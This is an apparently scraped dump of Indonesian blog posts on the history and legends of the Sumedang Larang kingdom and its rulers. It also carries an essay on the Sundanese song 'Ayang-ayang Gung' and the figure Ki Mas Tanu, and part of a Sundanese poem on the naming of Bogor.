1951 <br /> c Sulaeman Suwita Kusumah 1951 - 1958 <br /> d Antan Sastradipura 1958 - 1960 <br /> e Muhammad Hafil 1960 - 1966 <br /> f Adang Kartaman 1966 - 1970 <br /> g Drs. Supian Iskandar 1970 - 1972 <br /> h Drs. Supian Iskandar 1972 - 1977 <br /> i Drs. Kustandi Abdurahman 1977 - 1983 <br /> j Drs. Sutarja 1983 - 1988 <br /> k Drs. Sutarja 1988 - 1993 <br /> l Drs. H. Moch. Husein Jachja Saputra 1993 - 1998 <br /> m Drs. H. Misbach 1998 - 2003 <br /> n H. Don Murdono,SH. Msi 2003 - 2008 <br /> o H. Don Murdono,SH. Msi 2008 - 2013 <br /><br /><br /><br /><br />[sunting] Prabu Agung Resi Cakrabuana (950 M)<br />Prabu Agung Resi Cakrabuana atau lebih dikenal Prabu Tajimalela dianggap sebagai pokok berdirinya Kerajaan Sumedang. Pada awal berdiri bernama Kerajaan Tembong Agung dengan ibukota di Leuwihideung (sekarang Kecamatan Darmaraja). Ia punya tiga putra yaitu Prabu Lembu Agung, Prabu Gajah Agung, dan Sunan Geusan Ulun.<br /><br />Berdasarkan Layang Darmaraja, Prabu Tajimalela memberi perintah kepada kedua putranya (Prabu Lembu Agung dan Prabu Gajah Agung), yang satu menjadi raja dan yang lain menjadi wakilnya (patih). Tapi keduanya tidak bersedia menjadi raja. Oleh karena itu, Prabu Tajimalela memberi ujian kepada kedua putranya jika kalah harus menjadi raja. Kedua putranya diperintahkan pergi ke Gunung Nurmala (sekarang Gunung Sangkanjaya). Keduanya diberi perintah harus menjaga sebilah pedang dan kelapa muda (duwegan/degan). Tetapi, Prabu Gajah Agung karena sangat kehausan beliau membelah dan meminum air kelapa muda tersebut sehingga beliau dinyatakan kalah dan harus menjadi raja Kerajaan Sumedang Larang tetapi wilayah ibu kota harus mencari sendiri. Sedangkan Prabu Lembu Agung tetap di Leuwihideung, menjadi raja sementara yang biasa disebut juga Prabu Lembu Peteng Aji untuk sekedar memenuhi wasiat Prabu Tajimalela. Setelah itu Kerajaan Sumedang Larang diserahkan kepada Prabu Gajah Agung dan Prabu Lembu Agung menjadi resi. Prabu Lembu Agung dan pera keturunannya tetap berada di Darmaraja. Sedangkan Sunan Geusan Ulun dan keturunannya tersebar di Limbangan, Karawang, dan Brebes.<br /><br />Setelah Prabu Gajah Agung menjadi raja maka kerajaan dipindahkan ke Ciguling. Ia dimakamkan di Cicanting Kecamatan Darmaraja. Ia mempunyai dua orang putra, pertama Ratu Istri Rajamantri, menikah dengan Prabu Siliwangi dan mengikuti suaminya pindah ke Pakuan Pajajaran. Kedua Sunan Guling, yang melanjutkan menjadi raja di Kerajaan Sumedang Larang. Setelah Sunan Guling meninggal kemudian dilanjutkan oleh putra tunggalnya yaitu Sunan Tuakan. Setelah itu kerajaan dipimpin oleh putrinya yaitu Nyi Mas Ratu Patuakan. Nyi Mas Ratu Patuakan mempunyai suami yaitu Sunan Corenda, putra Sunan Parung, cucu Prabu Siliwangi (Prabu Ratu Dewata). Nyi Mas Ratu Patuakan mempunyai seorang putri bernama Nyi Mas Ratu Inten Dewata (1530-1578), yang setelah ia meninggal menggantikannya menjadi ratu dengan gelar Ratu Pucuk Umun.<br /><br />Ratu Pucuk Umun menikah dengan Pangeran Kusumahdinata, putra Pangeran Pamalekaran (Dipati Teterung), putra Aria Damar Sultan Palembang keturunan Majapahit. Ibunya Ratu Martasari/Nyi Mas Ranggawulung, keturunan Sunan Gunung Jati dari Cirebon. Pangeran Kusumahdinata lebih dikenal dengan julukan Pangeran Santri karena asalnya yang dari pesantren dan perilakunya yang sangat alim. Dengan pernikahan tersebut berakhirlah masa kerajaan Hindu di Sumedang Larang. Sejak itulah mulai menyebarnya agama Islam di wilayah Sumedang Larang.<br /><br />[sunting] Ratu Pucuk Umun dan Pangeran Santri<br />Pada pertengahan abad ke-16, mulailah corak agama Islam mewarnai perkembangan Sumedang Larang. Ratu Pucuk Umun, seorang wanita keturunan raja-raja Sumedang kuno yang merupakan seorang Sunda muslimah; menikahi Pangeran Santri (1505-1579 M) yang bergelar Ki Gedeng Sumedang dan memerintah Sumedang Larang bersama-sama serta menyebarkan ajaran Islam di wilayah tersebut. Pangeran Santri adalah cucu dari Syekh Maulana Abdurahman (Sunan Panjunan) dan cicit dari Syekh Datuk Kahfi, seorang ulama keturunan Arab Hadramaut yang berasal dari Mekkah dan menyebarkan agama Islam di berbagai penjuru daerah di kerajaan Sunda. Pernikahan Pangeran Santri dan Ratu Pucuk Umun ini melahirkan Prabu Geusan Ulun atau dikenal dengan Prabu Angkawijaya. Pada masa Ratu Pucuk Umun, ibukota Kerajaan Sumedang Larang dipindahkan dari Ciguling ke Kutamaya.<br /><br />Dari pernikahan Ratu Pucuk Umun dengan Pangeran Santri memiliki enam orang anak, yaitu :<br /><br />Pangeran Angkawijaya (yang tekenal dengan gelar Prabu Geusan Ulun) <br />Kiyai Rangga Haji, yang mengalahkan Aria Kuda Panjalu ti Narimbang, supaya memeluk agama Islam. <br />Kiyai Demang Watang di Walakung. <br />Santowaan Wirakusumah, yang keturunannya berada di Pagaden dan Pamanukan, Subang. <br />Santowaan Cikeruh. <br />Santowaan Awiluar. <br />Ratu Pucuk Umun dimakamkan di Gunung Ciung Pasarean Gede di Kota Sumedang.<br /><br />[sunting] Prabu Geusan Ulun<br />Prabu Geusan Ulun (1580-1608 M) dinobatkan untuk menggantikan kekuasaan ayahnya, Pangeran Santri. Ia menetapkan Kutamaya sebagai ibukota kerajaan Sumedang Larang, yang letaknya di bagian Barat kota. Wilayah kekuasaannya meliputi Kuningan, Bandung, Garut, Tasik, Sukabumi (Priangan) kecuali Galuh (Ciamis). Kerajaan Sumedang pada masa Prabu Geusan Ulun mengalami kemajuan yang pesat di bidang sosial, budaya, agama, militer dan politik pemerintahan. Setelah wafat pada tahun 1608, putera angkatnya, Pangeran Rangga Gempol Kusumadinata atau Rangga Gempol I, yang dikenal dengan nama Raden Aria Suradiwangsa menggantikan kepemimpinannya.<br /><br />Pada masa awal pemerintahan Prabu Geusan Ulun, Kerajaan Pajajaran Galuh Pakuan sedang dalam masa kehancurannya karena diserang oleh Kerajaan Banten yang dipimpin Sultan Maulana Yusuf dalam rangka menyebarkan Agama Islam. Oleh karena penyerangan itu Kerajaan Pajajaran hancur. Pada saat-saat kekalahan Kerajaan Pajajaran, Prabu Siliwangi sebelum meninggalkan Keraton beliau mengutus empat prajurit pilihan tangan kanan Prabu Siliwangi untuk pergi ke Kerajaan Sumedang dengan rakyat Pajajaran untuk mencari perlindungan yang disebut Kandaga Lante. Kandaga Lante tersebut menyerahkan mahkota emas simbol kekuasaan Raja Pajajaran, kalung bersusun dua dan tiga, serta perhiasan lainnya seperti benten, siger, tampekan, dan kilat bahu (pusaka tersebut masih tersimpan di Museum Prabu Geusan Ulun si Sumedang). Kandaga Lante yang menyerahkan tersebut empat orang yaitu Sanghyang Hawu atau Embah Jayaperkosa, Batara Dipati Wiradijaya atau Embah Nangganan, Sanghyang Kondanghapa, dan Batara Pancar Buana atau Embah Terong Peot.<br /><br />Walaupun pada waktu itu tempat penobatan raja direbut oleh pasukan Banten (wadyabala Banten) tetapi mahkota kerajaan terselamatkan. Dengan diberikannya mahkota tersebut kepada Prabu Geusan Ulun, maka dapat dianggap bahwa Kerajaan Pajajaran Galuh Pakuan menjadi bagian Kerajaan Sumedang Larang, sehingga wilayah Kerajaan Sumedang Larang menjadi luas. Batas wilayah baratnya Sungai Cisadane, batas wilayah timurnya Sungai Cipamali (kecuali Cirebon dan Jayakarta), batas sebelah utaranya Laut Jawa, dan batas sebelah selatannya Samudera Hindia.<br /><br />Secara politik Kerajaan Sumedang Larang didesak oleh tiga musuh: yaitu Kerajaan Banten yang merasa terhina dan tidak menerima dengan pengangkatan Prabu Geusan Ulun sebagai pengganti Prabu Siliwangi; pasukan VOC di Jayakarta yang selalu mengganggu rakyat; dan Kesultanan Cirebon yang ditakutkan bergabung dengan Kesultanan Banten. Pada masa itu Kesultanan Mataram sedang pada masa kejayaannya, banyak kerajaan-kerajaan kecil di Nusantara yang menyatakan bergabung kepada Mataram. Dengan tujuan politik pula akhirnya Prabu Geusan Ulun menyatakan bergabung dengan Kesultanan Mataram dan beliau pergi ke Demak dengan tujuan untuk mendalami agama Islam dengan diiringi empat prajurit setianya (Kandaga Lante). Setelah dari pesantren di Demak, sebelum pulang ke Sumedang ia mampir ke Cirebon untuk bertemu dengan Panembahan Ratu penguasa Cirebon, dan disambut dengan gembira karena mereka berdua sama-sama keturunan Sunan Gunung Jati.<br /><br />Dengan sikap dan perilakunya yang sangat baik serta wajahnya yang rupawan, Prabu Geusan Ulun disenangi oleh penduduk di Cirebon. Permaisuri Panembahan Ratu yang bernama Ratu Harisbaya jatuh cinta kepada Prabu Geusan Ulun. Ketika dalam perjalanan pulang ternyata tanpa sepengetahuannya, Ratu Harisbaya ikut dalam rombongan, dam karena Ratu Harisbaya mengancam akan bunuh diri akhirnya dibawa pulang ke Sumedang. Karena kejadian itu, Panembahan Ratu marah besar dan mengirim pasukan untuk merebut kembali Ratu Harisbaya sehingga terjadi perang antara Cirebon dan Sumedang.<br /><br />Akhirnya Sultan Agung dari Mataram meminta kepada Panembahan Ratu untuk berdamai dan menceraikan Ratu Harisbaya yang aslinya dari Pajang-Demak dan dinikahkan oleh Sultan Agung dengan Panembahan Ratu. Panembahan Ratu bersedia dengan syarat Sumedang menyerahkan wilayah sebelah barat Sungai Cilutung (sekarang Majalengka) untuk menjadi wilayah Cirebon. Karena peperangan itu pula ibukota dipindahkan ke Gunung Rengganis, yang sekarang disebut Dayeuh Luhur.<br /><br />Prabu Geusan Ulun memiliki tiga orang istri: yang pertama Nyi Mas Cukang Gedeng Waru, putri Sunan Pada; yang kedua Ratu Harisbaya dari Cirebon, dan yang ketiga Nyi Mas Pasarean. Dari ketiga istrinya tersebut ia memiliki lima belas orang anak:<br /><br />Pangeran Rangga Gede, yang merupakan cikal bakal bupati Sumedang <br />Raden Aria Wiraraja, di Lemahbeureum, Darmawangi <br />Kiyai Kadu Rangga Gede <br />Kiyai Rangga Patra Kalasa, di Cundukkayu <br />Raden Aria Rangga Pati, di Haurkuning <br />Raden Ngabehi Watang <br />Nyi Mas Demang Cipaku <br />Raden Ngabehi Martayuda, di Ciawi <br />Rd. Rangga Wiratama, di Cibeureum <br />Rd. Rangga Nitinagara, di Pagaden dan Pamanukan <br />Nyi Mas Rangga Pamade <br />Nyi Mas Dipati Ukur, di Bandung <br />Rd. Suridiwangsa, putra Ratu Harisbaya dari Panemabahan Ratu <br />Pangeran Tumenggung Tegalkalong <br />Rd. Kiyai Demang Cipaku, di Dayeuh Luhur. <br />Prabu Geusan Ulun merupakan raja terakhir Kerajaan Sumedang Larang, karena selanjutnya menjadi bagian Mataram dan pangkat raja turun menjadi adipati (bupati).<br /><br /><br /><br /><br />[sunting] Pemerintahan di bawah Mataram<br />[sunting] Dipati Rangga Gempol<br />Pada saat Rangga Gempol memegang kepemimpinan, pada tahun 1620 M Sumedang Larang dijadikannya wilayah kekuasaan Kerajaan Mataram di bawah Sultan Agung, dan statusnya sebagai 'kerajaan' dirubahnya menjadi 'kabupatian wedana'. Hal ini dilakukannya sebagai upaya menjadikan wilayah Sumedang sebagai wilayah pertahanan Mataram dari serangan Kerajaan Banten dan Belanda, yang sedang mengalami konflik dengan Mataram. Sultan Agung kemudian memberikan perintah kepada Rangga Gempol beserta pasukannya untuk memimpin penyerangan ke Sampang, Madura. Sedangkan pemerintahan untuk sementara diserahkan kepada adiknya, Dipati Rangga Gede.<br /><br />[sunting] Dipati Rangga Gede<br />Ketika setengah kekuatan militer kadipaten Sumedang Larang diperintahkan pergi ke Madura atas titah Sultan Agung, datanglah dari pasukan Kerajaan Banten untuk menyerbu. Karena Rangga Gede tidak mampu menahan serangan pasukan Banten, ia akhirnya melarikan diri. Kekalahan ini membuat marah Sultan Agung sehingga ia menahan Dipati Rangga Gede, dan pemerintahan selanjutnya diserahkan kepada Dipati Ukur.<br /><br /><br /><br /><br />[sunting] Dipati Ukur<br />Sekali lagi, Dipati Ukur diperintahkan oleh Sultan Agung untuk bersama-sama pasukan Mataram untuk menyerang dan merebut pertahanan Belanda di Batavia (Jakarta) yang pada akhirnya menemui kegagalan. Kekalahan pasukan Dipati Ukur ini tidak dilaporkan segera kepada Sultan Agung, diberitakan bahwa ia kabur dari pertanggung jawabannya dan akhirnya tertangkap dari persembunyiannya atas informasi mata-mata Sultan Agung yang berkuasa di wilayah Priangan.<br /><br /><br /><br /><br />[sunting] Pembagian wilayah kerajaan<br />Setelah habis masa hukumannya, Dipati Rangga Gede diberikan kekuasaan kembali untuk memerintah di Sumedang. Sedangkan wilayah Priangan di luar Sumedang dan Galuh (Ciamis), oleh Mataram dibagi menjadi tiga bagian[2]:<br /><br />Kabupaten Sukapura, dipimpin oleh Ki Wirawangsa Umbul Sukakerta, gelar Tumenggung Wiradegdaha/R. Wirawangsa, <br />Kabupaten Bandung, dipimpin oleh Ki Astamanggala Umbul Cihaurbeuti, gelar Tumenggung Wirangun-angun, <br />Kabupaten Parakanmuncang, dipimpin oleh Ki Somahita Umbul Sindangkasih, gelar Tumenggung Tanubaya. <br />Kesemua wilayah tersebut berada dibawah pengawasan Rangga Gede (atau Rangga Gempol II), yang sekaligus ditunjuk Mataram sebagai Wadana Bupati (kepala para bupati) Priangan.<br /><br />[sunting] Peninggalan budaya<br />Hingga kini, Sumedang masih berstatus kabupaten, sebagai sisa peninggalan konflik politik yang banyak diintervensi oleh Kerajaan Mataram pada masa itu. Adapun artefak sejarah berupa pusaka perang, atribut kerajaan, perlengkapan raja-raja dan naskah kuno peninggalan Kerajaan Sumedang Larang masih dapat dilihat secara umum di Museum Prabu Geusan Ulun, Sumedang letaknya tepat di selatan alun-alun kota Sumedang, bersatu dengan Gedung Srimanganti dan bangunan pemerintah daerah setempat.<br /><br />[sunting] Lihat pula<br />Kabupaten Sumedang <br />Museum Prabu Geusan Ulun <br />[sunting] Catatan kaki<br />^ a b Kartadibrata, R.M. Abdullah. 1989. Museum Prabu Geusan Ulun Sumedang, Brosur. Yayasan Pangeran Sumedang, Museum Prabu Geusan Ulun. Cetakan ke-2. <br />^ Anonim. Tanpa tahun. Sajarah Sukapura. Pemegang naskah R. Sulaeman Anggapradja. Kota Kulon, Garut Kota. <br />[sunting] Pranala luarBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-59427959357340936922010-09-21T22:50:00.001+07:002010-09-21T22:50:52.889+07:00Raden Pucuk UmunFrom grandparents to grandchildren<br />Grandparents♀ Ratna Ayu Kirana <br />birth: ♂ Raden Banyak Cakra <br />birth: ♀ Nyai Subanglarang <br />birth: <br />marriage: ♂ Prabu Siliwangi ♂ Prabu Siliwangi <br />marriage: ♀ Nyai Subanglarang GrandparentsParents♀ Nyai Rara Santang <br />birth: ♂ Walangsungsang <br />birth: ♂ Kian Santang <br />birth: ♂ Prabu Anggalarang Parents == 3 ==♂ Prabu Pucuk Umum == 3 ==PajajaranSiliwangiSingapuraBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-85700032125048124382010-09-21T22:46:00.003+07:002010-09-21T22:49:13.669+07:00Ayang-ayang Gung - Ki Mas TanuAyang-ayang gung/Gung goongna rame/Menak Ki Mas Tanu/Nu jadi wadana/ Naha mana kitu/Tukang olo-olo/Loba anu giruk/Ruket jeung Kumpeni/Niat jadi pangkat/Katon kagorengan/Ngantos Kangjeng Dalem/Lempa lempi lempong/Ngadu pipi jeung nu ompong/Jalan ka Batawi ngemplong.<br /><br />Pada dasarnya Ayang-ayang Agung adalah nyanyian anak-anak. Biasanya kakawihan ini menurut Ensiklopedi Sunda (2000: 70-71) biasa dipakai dalam permainan anak-anak, serta mempunyai pengertian bekerja sama.<br /><br />Selain itu, menurut buku yang disebut-sebut sebagai pelopor ensiklopedi etnis pertama di Indonesia ini, Ayang-ayang Gung memiliki beberapa keistimewaan. Di antaranya: dalam liriknya. Yaitu akhir suku kata dari kalimat lagu diulang kembali sebagai awal suku kata pada larik berikutnya. Dan suku kata akhir setiap larik menjadi suku kata pertama larik berikutnya. Dengan demikian anak-anak mudah menghapalkannya.<br /><br />Akan tetapi, terlepas dari masalah keistimewaan di atas, Ayang-ayang Gung bila ditinjau dari isinya memang berisi tentang kritik yang lumayan pedas. Kritikan itu, terutama ditujukan kepada menak yang gumede, yang menghalalkan segala cara untuk mencapai tujuannya.<br /><br />Tokohnya tentu saja Ki Mas Tanu. Tokoh ini digambarkan sebagai tukang olo-olo. Akibat kelakuan ini orang-orang kebanyakan menjadi giruk. Sebab selain olo-olo, Ki Mas Tanu juga ruket jeung kompeni. Langkah ini tentu saja diambilnya karena mempunyai niat ingin menjadi pembesar.<br /><br />Tetapi walaupun banyak yang tahu tentang Ayang-ayang Gung, mengenai tokoh Ki Mas Tanu agaknya jarang tahu. Padahal tokoh ini diyakini pernah hidup di Tatar Sunda dahulu kala ketika Belanda mengusai negeri ini.<br /><br />Tetapi dalam perkembangannya, tentang tokoh Ki Mas Tanu ini ada beberapa versi. Paling tidak tercatat ada dua versi yang menceritakan tentang Ki Mas Tanu. Pertama versi Saleh Danasasmita, dalam bukunya Sejarah Bogor (1983). Kedua versi Mikihiro Moriyama yang mencatatnya dalam Semangat Baru: Kolonialisme, Budaya Cetak, dan Kesastraan Sunda Abad ke-19 (2005).<br /><br />Versi Saleh<br /><br /> <br /><br />Menurut Saleh dalam bukunya Sejarah Bogor (1983: 83-84), yang didasarkan pada tulisan MA. Salmun dalam edisi awal majalah Intisari, Ki Mas Tanu dalam Ayang-ayang Gung mengacu kepada Tanujiwa yang merintis pendirian kampung-kampung pertama di daerah Bogor.<br /><br />Tentang Tanuwijaya, Saleh mengacu pada buku C.H.F. Riesz, De Geschiedenis van Buitenzorg (1887). Menurut Riesz, Tanuwijaya adalah orang Sumedang yang diperintah oleh Camphuijs untuk membabad hutan Pajajaran. Hasilnya ia bisa mendirikan kampung-kampung baru. Di antaranya ada yang di Cipinang (Jatinegara). Selain itu, juga kampung-kampung yang menjadi cikal bakal Kabupaten Bogor. Kampung-kampung yang dimaksud adalah Parakan Panjang, Parung Kujang, Panaragan, Bantar Jati, Sempur, Baranangsiang, Parung Banteng dan Cimahpar.<br /><br />Tetapi pembabatan hutan itu tidak berlanjut. Sebab Tanujiwa menghormati peninggalan kerajaan Pajajaran, sehingga dihentikkan di sisi utara Sungai Ciliwung. Rasa hormat ini bermula ketika ia berkunjung ke bekas ibu kota Pakuan bersama Sersan Scipio. Dengan demikian, ia ingin mendekatkan diri dengan peninggalan Siliwangi.<br /><br />Penghormatan kepada kerajaan Pajajaran itu berujung kepada ketidaktaatannya kepada VOC. Apalagi ia merasa dianak-tirikan Kumpeni, sebab ia yang letnan harus tunduk kepada Sersan Scipio yang kulit putih. Akhirnya si “Luitenant der Javanen” ini pun menjadi sekutu dan pelindung Haji Prawatasari yang berjuang melawan VOC. Tetapi mereka kalah dan Tanuwijaya dibuang ke Tanjung Harapan di Afrika.<br /><br />Kepahlawanan Ki Mas Tanu ini menjadi polemik antara “Kuncen Bandung” Haryoto Kunto dan sastrawan Sunda Aan Merdeka Permana beberapa tahun yang lalu. Haryoto Kunto dalam tulisannya Gung Goongna Rame (PR 19 Februari 1998) menyatakan bahwa Ki Mas Tanu yang berdarah muda, ambisius dan setia kepada Kumpeni Belanda itu, dijuluki oleh warga masyarakat kala itu sebagai “Si Raja Tega.” Kekejaman dan kelaliman Ki Mas Tanu diperlihatkannya ketika ia memimpin kerja rodi, susuk bendung babad jalan, membangun dan melakukan pengerasan jalan antara Bogor sampai Batavia.<br /><br />Sebagai balasannya, Aan Merdeka dalam tulisannya Benarkah Ki Mas Tanu Pengkhianat? (PR, 23 Februari 1998) menganggap Ki Mas Tanu berbeda dengan gambaran tokoh tersebut yang selama ini ada di masyarakat. Menurutnya alasan Ki Mas Tanu bergabung dengan Kompeni bukan lantaran mencari nafkah apalagi mencari jabatan, namun karena kerinduannya akan penelusuran sejarah nenek moyangnya.<br /><br />Sebab menurut Aan, sesuai dengan wawancaranya dengan Pak Ucang Sumardi dan Tutun Anwar, Ki Mas Tanu berasal dari keluarga bangsawan Sumedanglarang yang notabene masih berkerabat dengan Kerajaan Pajajaran. Bahkan Sumedanglarang menjadi pengganti kerajaan Pajajaran.<br /><br />Versi Miki<br />Lain pula pendapat Mikihiro Moriyama. Menurut doktor sastra Sunda jebolan Rijkuniversiteit Belanda 2003 ini dalam karyanya Semangat Baru (2005: 163-164):<br /><br />“Penduduk setempat (Garut-pen) masih mengetahui bahwa keluarga Moesa (RH. Moehamad Moesa - pen) adalah yang terkaya di wilayah itu, dan mereka masih menjalin hubungan dan kerjasama dengan Belanda. Pendek kata, kebanyakan orang berpandangan negatif terhadap Moesa, walaupun beberapa orang menyatakan kekaguman mereka atas sumbangannya dan Holle di bidang pertanian.”<br /><br />Dan Ayang-ayang Gung, menurut versi Miki sesuai dengan data yang didapatkan, untuk pertama kalinya diperkenalkan oleh R. Poeradiredja dan M. Soeriadiradja pada Kongres Pertama Bahasa, Geografi, dan Etnografi Jawa (Eerste Congres voor de Taal, Land- en Volkenkunde van Java ) di Solo pada 1919.<br /><br />Dalam makalahnya “Bijdrage tot de Kennis der Soendasche taal” (Djawa 4: 401-412), mereka berpendapat bahwa Ayang-ayang Gung dikarang oleh penulisnya untuk mengejek ambisi Moesa yang sudah kelewat batas. Puisi tersebut dinyanyikan dalam kongres tersebut supaya enak didengar.<br /><br />Tetapi di sisi lain, dalam wawancaranya dengan Soemarna W.S. di Balubur Limbangan pada 25-26 Oktober 1994, Miki mendengar bahwa Ayang-ayang Gung sebenarnya karya Moehamad Moesa sendiri. Moesa khawatir anaknya akan dikalahkan oleh salah seorang lawan politiknya, yaitu kepala distrik Suci yang bernama Tanu. Rupanya Moesa memahami benar arti rumor untuk menjatuhkan orang, sehingga ia berupaya agar nyanyian tersebut dikenal luas. Tetapi malah senjata makan tuan, ia yang mengarangnya jadi bahan ejekan orang.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-89795202993137248882010-09-21T22:46:00.001+07:002010-09-21T22:46:40.150+07:00Sejarah SumedangPrabu Agung Resi Cakrabuana (950 M)<br /><br />Prabu Agung Resi Cakrabuana atau lebih dikenal Prabu Tajimalela dianggap sebagai pokok berdirinya Kerajaan Sumedang. Pada awal berdiri bernama Kerajaan Tembong Agung dengan ibukota di Leuwihideung (sekarang Kecamatan Darmaraja). Beliau punya tiga putra yaitu Prabu Lembu Agung, Prabu Gajah Agung, dan Sunan Geusan Ulun.<br /><br />Berdasarkan Layang Darmaraja, Prabu Tajimalela memberi perintah kepada kedua putranya (Prabu Lembu Agung dan Prabu Gajah Agung), yang satu menjadi raja dan yang lain menjadi wakilnya (patih). Tapi keduanya tidak bersedia menjadi raja. Oleh karena itu, Prabu Tajimalela memberi ujian kepada kedua putranya jika kalah harus menjadi raja. Kedua putranya diperintahkan pergi ke Gunung Nurmala (sekarang Gunung Sangkanjaya). Keduanya diberi perintah harus menjaga sebilah pedang dan kelapa muda (duwegan/degan). Tetapi, Prabu Gajah Agung karena sangat kehausan beliau membelah dan meminum air kelapa muda tersebut sehingga beliau dinyatakan kalah dan harus menjadi raja Kerajaan Sumedang Larang tetapi wilayah ibu kota harus mencari sendiri. Sedangkan Prabu Lembu Agung tetap di Leuwihideung, menjadi raja sementara yang biasa disebut juga Prabu Lembu Peteng Aji untuk sekedar memenuhi wasiat Prabu Tajimalela. Setelah itu Kerajaan Sumedang Larang diserahkan kepada Prabu Gajah Agung dan Prabu Lembu Agung menjadi resi. Prabu Lembu Agung dan pera keturunannya tetap berada di Darmaraja. Sedangkan Sunan Geusan Ulun dan keturunannya tersebar di Limbangan, Karawang, dan Brebes.<br /><br />Setelah Prabu Gajah Agung menjadi raja maka kerajaan dipindahkan ke Ciguling. Ia dimakamkan di Cicanting Kecamatan Darmaraja. Ia mempunyai dua orang putra, pertama Ratu Istri Rajamantri, menikah dengan Prabu Siliwangi dan mengikuti suaminya pindah ke Pakuan Pajajaran. Kedua Sunan Guling, yang melanjutkan menjadi raja di Kerajaan Sumedang Larang. Setelah Sunan Guling meninggal kemudian dilanjutkan oleh putra tunggalnya yaitu Sunan Tuakan. Setelah itu kerajaan dipimpin oleh putrinya yaitu Nyi Mas Ratu Patuakan. Nyi Mas Ratu Patuakan mempunyai suami yaitu Sunan Corenda, putra Sunan Parung, cucu Prabu Siliwangi (Prabu Ratu Dewata). Nyi Mas Ratu Patuakan mempunyai seorang putri bernama Nyi Mas Ratu Inten Dewata (1530-1578), yang setelah ia meninggal menggantikannya menjadi ratu dengan gelar Ratu Pucuk Umun.<br /><br />Ratu Pucuk Umun menikah dengan Pangeran Kusumahdinata, putra Pangeran Pamalekaran (Dipati Teterung), putra Aria Damar Sultan Palembang keturunan Majapahit. Ibunya Ratu Martasari/Nyi Mas Ranggawulung, keturunan Sunan Gunung Jati dari Cirebon. Pangeran Kusumahdinata lebih dikenal dengan julukan Pangeran Santri karena asalnya yang dari pesantren dan perilakunya yang sangat alim. Dengan pernikahan tersebut berakhirlah masa kerajaan Hindu di Sumedang Larang. Sejak itulah mulai menyebarnya agama Islam di wilayah Sumedang Larang.<br /><br /><br />Ratu Pucuk Umun dan Pangeran Santri <br /><br />Pada pertengahan abad ke-16, mulailah corak agama Islam mewarnai perkembangan Sumedang Larang. Ratu Pucuk Umun, seorang wanita keturunan raja-raja Sumedang kuno yang merupakan seorang Sunda muslimah; menikahi Pangeran Santri (1505-1579 M) yang bergelar Ki Gedeng Sumedang dan memerintah Sumedang Larang bersama-sama serta menyebarkan ajaran Islam di wilayah tersebut. Pangeran Santri adalah cucu dari Syekh Maulana Abdurahman (Sunan Panjunan) dan cicit dari Syekh Datuk Kahfi, seorang ulama keturunan Arab Hadramaut yang berasal dari Mekkah dan menyebarkan agama Islam di berbagai penjuru daerah di kerajaan Sunda. Pernikahan Pangeran Santri dan Ratu Pucuk Umun ini melahirkan Prabu Geusan Ulun atau dikenal dengan Prabu Angkawijaya. Pada masa Ratu Pucuk Umun, ibukota Kerajaan Sumedang Larang dipindahkan dari Ciguling ke Kutamaya.<br /><br /><br />Dari pernikahan Ratu Pucuk Umun dengan Pangeran Santri memiliki enam orang anak, yaitu :<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Pangeran Angkawijaya (yang tekenal dengan gelar Prabu Geusan Ulun)<br /><br /><!--[if !supportLists]-->· Kiyai Rangga Haji, yang mengalahkan Aria Kuda Panjalu ti Narimbang, supaya memeluk agama Islam.<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Kiyai Demang Watang di Walakung.<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Santowaan Wirakusumah, yang keturunannya berada di Pagaden dan Pamanukan, Subang.<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Santowaan Cikeruh.<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Santowaan Awiluar.<br /><br /><!--[if !supportLists]-->· <!--[endif]-->Ratu Pucuk Umun dimakamkan di Gunung Ciung Pasarean Gede di Kota Sumedang.<br /><br /><br />Sumber: WikipediaBoeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-70879494323522522722010-09-21T22:42:00.000+07:002010-09-21T22:45:14.511+07:00Sejarah Bogor - Sales DanasasmitaTah di dinya, ku andika adegkeun eta dayeuh<br /><br />laju ngaranan Bogor<br /><br />sabab bogor teh hartina tunggul kawung<br /><br />(Di tempat itu, dirikanlah olehmu sebuah kota<br /><br />lalu beri nama Bogor<br /><br />sebab bogor itu artinya pokok enau) <br /><br /> <br /><br />Ari tunggul kawung<br /><br />emang ge euweuh hartina<br /><br />euweuh soteh ceuk nu teu ngarti<br /><br />(Pokok enau itu<br /><br />memang tak ada artinya<br /><br />terutama,bagi mereka yang tidak paham)<br /><br /> <br /><br /> <br /><br />Ari sababna, ngaran mudu Bogor<br /><br />sabab bogor mah dijieun suluh teu daek hurung<br /><br />teu melepes tapi ngelun<br /><br />haseupna teu mahi dipake muput <br /><br />(Sebabnya harus bernama Bogor?<br /><br />sebab bogor itu dibuat kayu bakar tak mau menyala<br /><br />tapitidak padam, terus membara<br /><br />asapnya tak cukup untuk "muput")<br /><br /> <br /><br />Tapi amun dijieun tetengger<br /><br />sanggup nungkulan windu<br /><br />kuat milangan mangsa<br /><br />(Tapi kalau dijadikan penyangga rumah<br /><br />mampu melampaui waktu<br /><br />sanggup melintasi zaman)<br /><br /> <br /><br />Amun kadupak <br /><br />matak borok nu ngadupakna<br /><br />moalgeuwat cageur tah inyana <br /><br />(Kalau tersenggol<br /><br />bisa membuat koreng yang menyenggolnya<br /><br />membuat koreng yang lama sembuhnya)<br /><br /> <br /><br />Amun katajong?<br /><br />mantak bohak nu najongna<br /><br />moal geuwat waras tah cokorna <br /><br />(Kalau tertendang?<br /><br />bisa melukai yang mendangnya<br /><br />itu kaki akan lama sembuhnya)<br /><br /> <br /><br />Tapi, amun dijieun kekesed?<br /><br />sing nyaraho<br /><br />isukan jaga pageto<br /><br />bakal harudang pating kodongkang<br /><br />nu ngawarah si calutak <br /><br />(Tapi, kalau dibuat keset?<br /><br />Semuanya harus tahu<br /><br />besok atau lusa<br /><br />bakal bangkit berkeliaran<br /><br />menasehati yang tidak sopan)<br /><br /> <br /><br />Tah kitu!<br /><br />ngaranan ku andika eta dayeuh<br /><br />Dayeuh Bogor! <br /><br />(Begitulah<br /><br />beri nama olehmu itu kota<br 